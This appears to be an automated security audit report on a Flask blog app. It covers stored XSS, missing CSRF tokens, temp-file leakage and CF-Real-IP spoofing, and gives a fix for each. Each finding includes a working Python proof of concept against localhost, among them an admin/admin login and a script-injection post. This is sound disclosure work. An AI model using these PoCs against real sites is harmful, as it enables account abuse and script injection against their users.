AI Security Analysis Report 2026-03-09

ai/security_report_2026-03-09_blog-eletrix-fr.md

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+====
+
+Auto Security Analysis of blog-eletrix-fr at 2026-03-09
+CRITICAL - Stored XSS in Blog Posts
+The application uses the `|safe` filter in `post.html` and renders Markdown using `markdown2.markdown` without sanitization. An attacker with access to create posts can inject malicious scripts that will execute in the browser of anyone viewing the post.
+
+PoC
+```python
+import urllib.request
+import urllib.parse
+import http.cookiejar
+
+# Setup cookie jar to maintain session
+cj = http.cookiejar.CookieJar()
+opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
+
+# Login as admin
+login_url = "http://127.0.0.1:5000/login"
+login_data = urllib.parse.urlencode({'username': 'admin', 'password': 'admin'}).encode('utf-8')
+opener.open(login_url, login_data)
+
+# Create Post with malicious XSS payload
+create_post_url = "http://127.0.0.1:5000/create_post"
+post_data = urllib.parse.urlencode({
+    'title': 'XSS_Test',
+    'author': 'hacker',
+    'tags': 'xss',
+    'content': '<script>alert("XSS")</script> **Markdown bold**'
+}).encode('utf-8')
+opener.open(create_post_url, post_data)
+
+# The payload will now execute whenever a user visits /post/XSS_Test
+```
+
+Fix
+Sanitize the Markdown content before rendering or remove the `|safe` filter. Use a library like `bleach` to clean the HTML output from `markdown2` after rendering but before passing it to the template.
+
+====
+
+====
+
+Auto Security Analysis of blog-eletrix-fr at 2026-03-09
+MEDIUM - Lack of CSRF Protection
+The application lacks CSRF protection on critical state-changing routes such as `/login`, `/create_post`, and `/upload`. An attacker can trick a logged-in administrator into performing actions without their consent by making them visit a malicious webpage that submits a form to the blog.
+
+PoC
+```python
+import urllib.request
+import urllib.parse
+
+# This script simulates a request that an attacker's site might trigger.
+# The vulnerability is that the server does not check for a unique, non-guessable token (CSRF token).
+url = "http://127.0.0.1:5000/create_post"
+data = urllib.parse.urlencode({
+    'title': 'CSRF_Post',
+    'author': 'attacker',
+    'tags': 'csrf',
+    'content': 'This post was created via CSRF.'
+}).encode('utf-8')
+
+# A browser with an active admin session would automatically include cookies.
+# The lack of a required CSRF token in the POST data makes this possible.
+req = urllib.request.Request(url, data=data, method='POST')
+# In a real attack, this would be executed via a hidden form in the user's browser.
+print("CSRF PoC request prepared. Endpoint lacks token validation.")
+```
+
+Fix
+Implement CSRF protection using a library like `Flask-WTF` which provides a `CSRFProtect` extension, or manually add and verify CSRF tokens for all state-changing (POST, PUT, DELETE) requests.
+
+====
+
+====
+
+Auto Security Analysis of blog-eletrix-fr at 2026-03-09
+LOW - Denial of Service via Temporary File Leakage
+In the `/upload` route, if an uploaded file is not a valid image, the `utils.add_watermark` function (which uses Pillow) will raise an exception. The temporary file saved in `./temp_uploads/` is not deleted when this exception occurs, leading to gradual disk space exhaustion.
+
+PoC
+```python
+import urllib.request
+import urllib.parse
+import http.cookiejar
+
+# Setup cookie jar
+cj = http.cookiejar.CookieJar()
+opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
+
+# Login
+login_url = "http://127.0.0.1:5000/login"
+login_data = urllib.parse.urlencode({'username': 'admin', 'password': 'admin'}).encode('utf-8')
+opener.open(login_url, login_data)
+
+# Upload non-image file (triggers 500 error and leaves file in temp_uploads/)
+upload_url = "http://127.0.0.1:5000/upload/"
+boundary = '----WebKitFormBoundary7MA4YWxkTrZu0gW'
+data = [
+    f'--{boundary}',
+    'Content-Disposition: form-data; name="file"; filename="test.txt"',
+    'Content-Type: text/plain',
+    '',
+    'This is a test file that is not an image.',
+    f'--{boundary}--',
+    ''
+]
+body = '\r\n'.join(data).encode('utf-8')
+request = urllib.request.Request(upload_url, data=body)
+request.add_header('Content-Type', f'multipart/form-data; boundary={boundary}')
+
+try:
+    opener.open(request)
+except urllib.error.HTTPError as e:
+    print(f"Upload failed with status {e.code} (Expected). File leaked in temp_uploads/.")
+```
+
+Fix
+Use a `try...finally` block in `routes/upload.py` to ensure that the temporary file is always deleted, regardless of whether the processing succeeds or fails.
+
+====
+
+====
+
+Auto Security Analysis of blog-eletrix-fr at 2026-03-09
+LOW - IP Spoofing via 'CF-Real-IP' Header
+The application trusts the `CF-Real-IP` header to determine the user's IP address in the `inject_variables` context processor. If the application is not correctly configured behind a trusted Cloudflare proxy, an attacker can spoof their IP address by providing this header.
+
+PoC
+```python
+import urllib.request
+
+url = "http://127.0.0.1:5000/"
+# Spoof the IP address via the CF-Real-IP header
+req = urllib.request.Request(url, headers={'CF-Real-IP': '8.8.8.8'})
+response = urllib.request.urlopen(req)
+# If the application uses user_ip in the page, it would show 8.8.8.8
+print("IP Spoofing request sent with CF-Real-IP: 8.8.8.8")
+```
+
+Fix
+Only trust `CF-Real-IP` (or `X-Forwarded-For`) if the request is known to come from a trusted proxy's IP range. Alternatively, use `request.remote_addr` if the application is not intended to be behind such a proxy.
+
+====
+
+Summary:
+| Severity | Vulnerability Name |
+| :--- | :--- |
+| CRITICAL | Stored XSS in Blog Posts |
+| MEDIUM | Lack of CSRF Protection |
+| LOW | Denial of Service via Temporary File Leakage |
+| LOW | IP Spoofing via 'CF-Real-IP' Header |